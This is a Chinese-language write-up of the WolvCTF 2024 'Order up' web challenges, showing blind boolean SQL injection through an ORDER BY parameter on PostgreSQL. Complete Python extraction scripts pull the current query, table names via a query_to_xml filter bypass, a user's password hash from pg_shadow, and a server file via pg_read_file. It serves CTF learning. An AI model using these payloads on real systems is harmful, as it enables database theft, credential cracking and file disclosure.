WolvCTF-2024 web方向Order up系列复现
Arcueid 发表于 浙江 CTF 257浏览 · 2024-10-09 16:27

Order Up

Internal Notes:

Source will NOT be provided for these challenges.

This is designed to be hosted in a "each team gets a private instance" manner.

See the CTFd folder in this repo for details on how this challenge will be spun up per team.

In CTFd, this will use the "private_challenges" custom challenge type so that it can be spun up per team.

Order up 1

Description:

I hope my under construction web site is secure.

Solving this will unlock a series of related challenges that ALL use the same challenge instance.

Source is not provided on purpose.

To find the first flag, find a way to view the text of the SQL query. If you find some other flag, it will be related to one of the others in this series.

Note: Automated tools like sqlmap and dirbuster are not allowed (and will not be helpful anyway).

不提供源码 看描述应该是sql注入

直接访问没找到功能点 去翻js

async function fetchData() {
    return await fetch('/query?col1=category&col2=item_name&col3=description&col4=price&order=category,item_name').then(r => r.json())
}

async function renderTable() {
    const tableBody = document.querySelector('#data-table tbody')

    const data = await fetchData()

    tableBody.innerHTML = ''

    data.forEach((item) => {
        const row = document.createElement('tr')
        row.innerHTML = `<td><input type="checkbox"></td><td>${item.category}</td><td>${item.item_name}</td><td>${item.description}</td><td>${item.price}</td>`

        tableBody.appendChild(row)
    })
}

window.onload = function () {
  renderTable();
}

尝试对col1-col4和order进行注入

通过升降序判断出 order处存在注入

那么应该就是一个order by注入

通过不同数据库的函数来判断数据库 这里判断出是postgresql

https://www.db-fiddle.com/可以测多环境的sql 很方便

可以注出库名database

import requests
import string

dic = "<>?"+string.digits+string.ascii_letters+"-}{, /*_$:"+chr(10)


url = "http://192.168.100.119:5000/query"
true_response = '''[{"price":"10.99"}'''
false_response = '''[{"price":"14.99"}'''



x = ""

for i in range(1,666):
    flag = False
    for letter in dic:
        exp = f"ascii(substr(current_database(), {i}, 1)) = {str(ord(letter))}"
        # exp = f"(select ascii(substr(STRING_AGG(table_name,CHR(44)),{i},1)) FROM information_schema.tables) = {str(ord(letter))}"


        payload = f"?col1=price&order=case when ({exp}) then category else description end"
        res = requests.get(url+payload)
        if res.text.startswith(true_response):
            x += letter
            flag = True
            break
    if not flag:
        break
    print(x)

尝试注表名 失败了 应该是过滤了什么东西 先不管

select ascii(substr(STRING_AGG(table_name,CHR(44)),{i},1)) FROM information_schema.tables) = {str(ord(letter))}

题目说 find a way to view the text of the SQL query

那么用current_query查询当前语句

ascii(substr(current_query(), {i}, 1)) = {str(ord(letter))}
import requests
import string

dic = "<>?"+string.digits+string.ascii_letters+"-}{, /*_$:"+chr(10)


url = "http://192.168.100.119:5000/query"
true_response = '''[{"price":"10.99"}'''
false_response = '''[{"price":"14.99"}'''



x = ""

for i in range(1,666):
    flag = False
    for letter in dic:
        # exp = f"ascii(substr(current_database(), {i}, 1)) = {str(ord(letter))}"
        exp = f"ascii(substr(current_query(), {i}, 1)) = {str(ord(letter))}"

        # exp = f"(select ascii(substr(STRING_AGG(table_name,CHR(44)),{i},1)) FROM information_schema.tables) = {str(ord(letter))}"


        payload = f"?col1=price&order=case when ({exp}) then category else description end"
        res = requests.get(url+payload)
        if res.text.startswith(true_response):
            x += letter
            flag = True
            break
    if not flag:
        break
    print(x)

得到flag1

Order up 2

Description:

The next flag is hiding in another table. Can you find it?

在另一个表里

那么就要考虑上面的

select ascii(substr(STRING_AGG(table_name,CHR(44)),{i},1)) FROM information_schema.tables) = {str(ord(letter))}

猜测waf给语句里面什么ban了

不是select就是STRING_AGG了删了STRING_AGG没有报错 说明是select的问题

大小写并不能绕过

这里不是很会绕

wp中给到的payload是利用query_to_xml函数来绕 select作为字符串的参数可以随便拼接

修改后的payload为

(ascii(substr(replace(replace(replace(''||query_to_xml('SE'||'LECT table_name FROM information_schema.tables where (table_schema=''public'')',true,true,''),'row',''),'xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"',''),chr(10),''),{i},1)) = {str(ord(letter))})
import requests
import string

dic = "<>?"+string.digits+string.ascii_letters+"-}{, /*_$:"+chr(10)


url = "http://192.168.100.119:5000/query"
true_response = '''[{"price":"10.99"}'''
false_response = '''[{"price":"14.99"}'''



x = ""

for i in range(1,666):
    flag = False
    for letter in dic:
        # exp = f"ascii(substr(current_database(), {i}, 1)) = {str(ord(letter))}"
        # exp = f"ascii(substr(current_query(), {i}, 1)) = {str(ord(letter))}"

        exp = f'''(ascii(substr(replace(replace(replace(''||query_to_xml('SE'||'LECT table_name FROM information_schema.tables where (table_schema=''public'')',true,true,''),'row',''),'xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"',''),chr(10),''),{i},1)) = {str(ord(letter))})'''


        payload = f"?col1=price&order=case when ({exp}) then category else description end"
        # print(payload)
        res = requests.get(url+payload)
        if res.text.startswith(true_response):
            x += letter
            flag = True
            break
    if not flag:
        break
    print(x)

(ascii(substr(replace(replace(replace(''||query_to_xml('SE'||'LECT * FROM flag_table_542986521',true,true,''),'row',''),'xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"',''),chr(10),''),{i},1)) = {str(ord(letter))})

Order up 3

Description:

There is a DB user named 'flag'. To find the next flag, figure out the password for this DB user.

The flag will be: wctf{}

Note: The password can be found in the rock you word list.

Note: Use your team instance from Order Up 1.

找到用户flag的密码用wctf包裹

其中密码是弱口令 在rockyou字典中存在

那么我们只需要从pg_shadow中跑出哈希本地解密即可

import requests
import string

dic = string.printable

url = "http://192.168.100.119:5000/query"
true_response = '''[{"price":"10.99"}'''
false_response = '''[{"price":"14.99"}'''



x = ""

for i in range(1,666):
    flag = False
    for letter in dic:
        # exp = f"ascii(substr(current_database(), {i}, 1)) = {str(ord(letter))}"
        # exp = f"ascii(substr(current_query(), {i}, 1)) = {str(ord(letter))}"

        # exp = f'''(ascii(substr(replace(replace(replace(''||query_to_xml('SE'||'LECT * FROM flag_table_542986521',true,true,''),'row',''),'xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"',''),chr(10),''),{i},1)) = {str(ord(letter))})'''
        exp = f'''(ascii(substr(replace(replace(replace(''||query_to_xml('SE'||'LECT passwd FROM pg_shadow where usename='\'flag\''',true,true,''),'row',''),'xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"',''),chr(10),''),{i},1)) = {str(ord(letter))})'''

        payload = f"?col1=price&order=case when ({exp}) then category else description end"
        # print(payload)
        res = requests.get(url+payload)
        if res.text.startswith(true_response):
            x += letter
            flag = True
            break

    if not flag:
        break
    print(x)


# SCRAM-SHA-256$4096:n5XSPEmqV0e9JWHZTnkJRA==$Xrc8LYVMeUeE0yFt7y66H9UbOOchaPV/39lc3aNLc9g=:VCjMQjczALfiEZ+3MJZuIvoZ7q2HkzOWWAuIvadUm8g=

Order up 4

Description:

The next flag is inside a disk file whose name is like /flag*.txt

需要读本地文件

其中文件名没有全告诉我们 只说明了是flag开头的txt文件

可以考虑函数pg_ls_dir先读出flag的文件名

(ascii(substr(replace(replace(replace(''||query_to_xml('SE'||'LECT pg_ls_dir(''/'') a',true,true,''),'row',''),'xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"',''),chr(10),''),{i},1)) = {str(ord(letter))})

import requests
import string

dic = string.printable

url = "http://192.168.100.119:5000/query"
true_response = '''[{"price":"10.99"}'''
false_response = '''[{"price":"14.99"}'''



x = ""

for i in range(1,666):
    flag = False
    for letter in dic:
        # exp = f"ascii(substr(current_database(), {i}, 1)) = {str(ord(letter))}"
        # exp = f"ascii(substr(current_query(), {i}, 1)) = {str(ord(letter))}"

        # exp = f'''(ascii(substr(replace(replace(replace(''||query_to_xml('SE'||'LECT * FROM flag_table_542986521',true,true,''),'row',''),'xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"',''),chr(10),''),{i},1)) = {str(ord(letter))})'''
        # exp = f'''(ascii(substr(replace(replace(replace(''||query_to_xml('SE'||'LECT passwd FROM pg_shadow where usename='\'flag\''',true,true,''),'row',''),'xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"',''),chr(10),''),{i},1)) = {str(ord(letter))})'''
        exp = f''' (ascii(substr(replace(replace(replace(replace(replace(replace(''||query_to_xml('SE'||'LECT pg_read_file(''/flag_VfCjtGpXDcMrml.txt'') a',true,true,''),'row',''),'<a>',''),'</a>',''),'</>',''),'xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"',''),chr(10),''),{i},1)) = {str(ord(letter))})'''
        payload = f"?col1=price&order=case when ({exp}) then category else description end"
        # print(payload)
        res = requests.get(url+payload)
        if res.text.startswith(true_response):
            x += letter
            flag = True
            break

    if not flag:
        break
    print(x)


# SCRAM-SHA-256$4096:n5XSPEmqV0e9JWHZTnkJRA==$Xrc8LYVMeUeE0yFt7y66H9UbOOchaPV/39lc3aNLc9g=:VCjMQjczALfiEZ+3MJZuIvoZ7q2HkzOWWAuIvadUm8g=

0 条评论
某人
表情
可输入 255